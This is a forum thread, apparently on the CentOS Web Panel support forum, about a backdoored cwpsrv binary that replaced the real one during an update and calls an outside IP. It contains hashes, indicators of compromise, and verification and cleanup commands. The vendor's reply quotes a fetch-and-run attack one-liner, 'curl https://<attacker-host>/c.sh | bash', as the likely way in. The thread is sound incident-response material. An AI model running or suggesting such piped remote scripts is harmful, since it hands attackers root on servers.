URGENT – CWP update delivered CWPdoor-like cwpsrv replacement from 136.0.141.71

Started by itoma, November 08, 2026, 04:49:10 PM

Previous topic - Next topic

itoma

Hello,

On 2026-11-08 at 18:21 (EET), I ran "Update CWP now" from the admin panel on a CWP 1.30.4 server (AlmaLinux 8.10). The update log shows the cwpsrv updater downloading a new binary from the IP published by XLab as the CWPdoor download server:

Downloading http://136.0.141.71/static/cwpsrv_1.30.6_almalinux8.10
sha256 : 2d21c2caf032e367 -> e99898e600df97f7
size   : 6320200 -> 6574304 bytes
mtime  : 2026-10-31 00:07:26 (preserved)
reported  : http://136.0.141.71/update?v=1.30.6
log file  : none (this updater writes no files)

The replaced binary has SHA256 e99898e600df97f78d17720a548199990b2174a61a75ba1e1afb198ee6e28f5c. The original binary from the cwpsrv-1.30.6-1.el8 RPM was 2d21c2caf032e3677a8727b33f83a2487448fb5d59c6766cf2034d82c6cc8d8b.

No local file on the server references 136.0.141.71, and /etc/hosts is clean. The update chain was /scripts/update_cwp → cron.php → the "cwpsrv UPDATER" script, which was fetched and executed without being saved to disk. This suggests the CWP update infrastructure may be serving a malicious updater.

Actions taken: blocked the IP, stopped cwpsrv, preserved the evidence, rolled the VM back to a snapshot taken before the update, verified the clean binary, disabled the nightly CWP cron, and changed the root password.

Please confirm whether your update infrastructure is compromised and when it is safe to update again. I can provide the binary for analysis.

Administrator

Thank you for the detailed report and especially for posting the hashes - they let us
reproduce and confirm exactly what happened. Two things need to be separated, because
they point in very different directions.


1) THE OFFICIAL CWP UPDATE DID NOT DELIVER THIS BINARY
------------------------------------------------------
We pulled the official package straight from the CWP repository and extracted the binary:

  cwpsrv-1.30.6-1.el8.x86_64  ->  /usr/local/cwpsrv/bin/cwpsrv
  SHA256: 2d21c2caf032e3677a8727b33f83a2487448fb5d59c6766cf2034d82c6cc8d8b
  size:   6,320,200 bytes

This is byte-for-byte identical to the "original" hash you posted. The genuine package
on the repo is clean.

The CWP updater only ever fetches over HTTPS from centos-webpanel.com / static.cdn-cwp.com
and installs cwpsrv through the normal package manager. The URLs you observed -

  http://136.0.141.71/static/cwpsrv_1.30.6_almalinux8.10
  http://136.0.141.71/update?v=1.30.6

- do NOT exist anywhere in CWP's code. That IP and those URL shapes are not ours.


2) THE REPLACED BINARY IS A POST-EXPLOITATION BACKDOOR
------------------------------------------------------
The malicious file (the one you found, and which we also reproduced on a test box):

  SHA256: e99898e600df97f78d17720a548199990b2174a61a75ba1e1afb198ee6e28f5c
  size:   6,574,304 bytes

Its modification time (mtime) is forged to match the real build timestamp so it blends in;
the real replacement time is still visible in the inode change time (ctime).

This binary is dropped on servers that are ALREADY root-compromised, and it then talks to
136.0.141.71. In the case we analysed, the entry point was NOT the CWP updater - it was a
malicious one-liner executed as root, of the classic form:

  curl https://<attacker-host>/c.sh | bash

These are often disguised as "run this to update/fix CWP" instructions. If anyone ran a
command like that on the server (check /root/.bash_history), that is your entry vector.


HOW TO CHECK YOUR SERVER
------------------------
  sha256sum /usr/local/cwpsrv/bin/cwpsrv
  rpm -V cwpsrv | grep bin/cwpsrv        # a line beginning with "S.5" = the binary was altered

Authoritative, works on any EL version (compares on-disk binary to the official package):

  cd /tmp && mkdir -p cwpv && cd cwpv
  yumdownloader cwpsrv 2>/dev/null || curl -O "http://repo.centos-webpanel.com/repo/$(rpm -E %rhel)/x86_64/$(rpm -q cwpsrv).rpm"
  rpm2cpio cwpsrv-*.rpm | cpio -idmv ./usr/local/cwpsrv/bin/cwpsrv
  sha256sum ./usr/local/cwpsrv/bin/cwpsrv /usr/local/cwpsrv/bin/cwpsrv
  # the two hashes MUST be equal

If the on-disk hash is e99898e6... (or rpm -V flags the binary), your server is affected.


IF YOU ARE AFFECTED - TREAT IT AS A FULL ROOT COMPROMISE
--------------------------------------------------------
Restoring cwpsrv alone is NOT enough once root was taken. Do all of the following:

  1. Preserve evidence first: copy the malicious /usr/local/cwpsrv/bin/cwpsrv and
     /root/.bash_history somewhere safe before changing anything.
  2. Block the IOC at the firewall:  csf -d 136.0.141.71  (and the stager host).
  3. Restore the genuine web server from the official package:
        yum reinstall -y cwpsrv && systemctl restart cwpsrv
        sha256sum /usr/local/cwpsrv/bin/cwpsrv     # must match the official hash above
  4. Rotate ALL credentials: root password, every SSH key, panel/user/reseller logins,
     MySQL, API keys, mail passwords.
  5. Audit persistence: /root/.ssh/authorized_keys and every user's authorized_keys,
     all crontabs (/var/spool/cron, /etc/cron.*), /etc/systemd/system, /etc/ld.so.preload,
     and any recently-modified .php in document roots.
  6. Because root was compromised, the only way to fully trust the machine again is a
     clean reinstall and a restore of data/accounts onto it.


HOW TO AVOID THIS
-----------------
  - NEVER pipe a remote script into a root shell (curl ... | bash, wget ... | sh).
    CWP is updated only with:  sh /scripts/update_cwp
  - Keep CWP on the latest 1.30.x.
  - After any suspicious activity, verify the cwpsrv hash as shown above.


WHAT WE ARE DOING ON OUR SIDE
-----------------------------
The repository content itself is intact, but as an extra layer we are adding GPG package
signing + gpgcheck to the CWP repositories, so that any future tampering with a package in
transit or at rest would be rejected automatically by yum/dnf.

Genuine cwpsrv 1.30.6 binary hash (verified): EL8 = 2d21c2ca... (6,320,200 bytes).
EL7 / EL9 hashes available on request - or just use the rpm2cpio comparison above, which
is self-verifying on any distribution.

Thanks again for the responsible, well-documented report.

- CWP team

itoma

Thank you for the quick and detailed reply. I ran a deeper check on my server, and the results don't support the "pre-existing root compromise via curl | bash" explanation for my case:

   •   /root/.bash_history: no curl/wget | bash was ever executed.
   •   There is no local file anywhere on the server (/scripts, /usr/local/cwpsrv/htdocs/resources/scripts, /usr/local/bin, /root, /etc/profile.d) containing "cwpsrv UPDATER", static/cwpsrv or update?v=.
   •   No command shims: curl, wget, bash, sh, yum, dnf, rpm, service and systemctl all resolve to /usr/bin or /usr/sbin.
   •   rpm -Va shows no modified system binaries, there is no /etc/ld.so.preload, and there are no unknown systemd units or kernel modules. SSH logins in the logs come only from my own IPs.
   •   DNS for your domains resolves to your OVH IPs, not to 136.0.141.71.

The malicious "cwpsrv UPDATER" (11,468 bytes) was downloaded and executed inside the update I started from the admin panel, right after the "Update Server Packages" section of cron.php. It was fetched and run from memory, never saved to disk.

Two questions:

   1.   Which URL does cron.php fetch in "Update Server Packages" (the ~11 KB script)? Could you check that file on every static.cdn-cwp.com node (137.74.148.116, 167.114.21.226, 198.27.104.40, 151.80.90.199), not only the RPM repository?
   2.   Your scripts on my server still download over plain HTTP: http://static.cdn-cwp.com/files/php/addons/pcre2-10.39.zip in fix_local_pcre2 (which update_cwp runs first) and http://repo.centos-webpanel.com/... in update_cwpphp83. This contradicts "HTTPS only" and allows tampering in transit.

Until this is clarified, automatic updates stay disabled on my server.

Edit:

One more detail that may help locate the source.

In my update log, the malicious "cwpsrv UPDATER" printed the same banner as your official scripts:

#################################################################
#          CentOS Web Panel (CWP)   cwpsrv UPDATER              #
#################################################################

visit www.centos-webpanel.com
For Support and informations visit our website.

Please wait this can take few minutes...

It was downloaded by cron.php, right after the "Update Server Packages" section, and the download was exactly 11,468 bytes:

100 11468  100 11468    0     0   125k      0 --:--:-- --:--:-- --:--:--  125k

I also checked the integrity of the panel code on my server using the inode change time (ctime), which cannot be forged. All 7,392 panel files were replaced at once on 2026-11-04 19:39, by the 1.30.4 update I ran myself, and nothing in /usr/local/cwpsrv/htdocs or /scripts was modified locally after that (only notifications.json and the nightly permissions reset of cwp_api). So the cron.php that ran the update is exactly the one your 1.30.4 update delivered.

Could you please answer:

   1.   Is there an official cwpsrv updater script that cron.php fetches during "Update Server Packages"? If so, what are its URL, size and SHA256?
   2.   Could you compare it with what each static.cdn-cwp.com node (137.74.148.116, 167.114.21.226, 198.27.104.40, 151.80.90.199) and your other download hosts serve right now? If only one node was tampered with, that would explain why only some servers received the backdoor.

I can provide the full update log and the malicious binary (SHA256 e99898e600df97f78d17720a548199990b2174a61a75ba1e1afb198ee6e28f5c) to your team privately.

Thank you.

itoma

Update: I have sent the CWP team a private message with the malicious binary (password-protected), its hashes and the full update log, so they can analyse it and trace where the 11,468-byte "cwpsrv UPDATER" script came from.

For anyone else running CWP, a quick way to check your panel web server:

sha256sum /usr/local/cwpsrv/bin/cwpsrv
rpm -V cwpsrv | grep bin/cwpsrv
ss -axp | grep -i integrity

The rpm -V and ss commands must return nothing. If your hash is e99898e600df97f78d17720a548199990b2174a61a75ba1e1afb198ee6e28f5c, your server is affected.

I will post again once the source is clarified.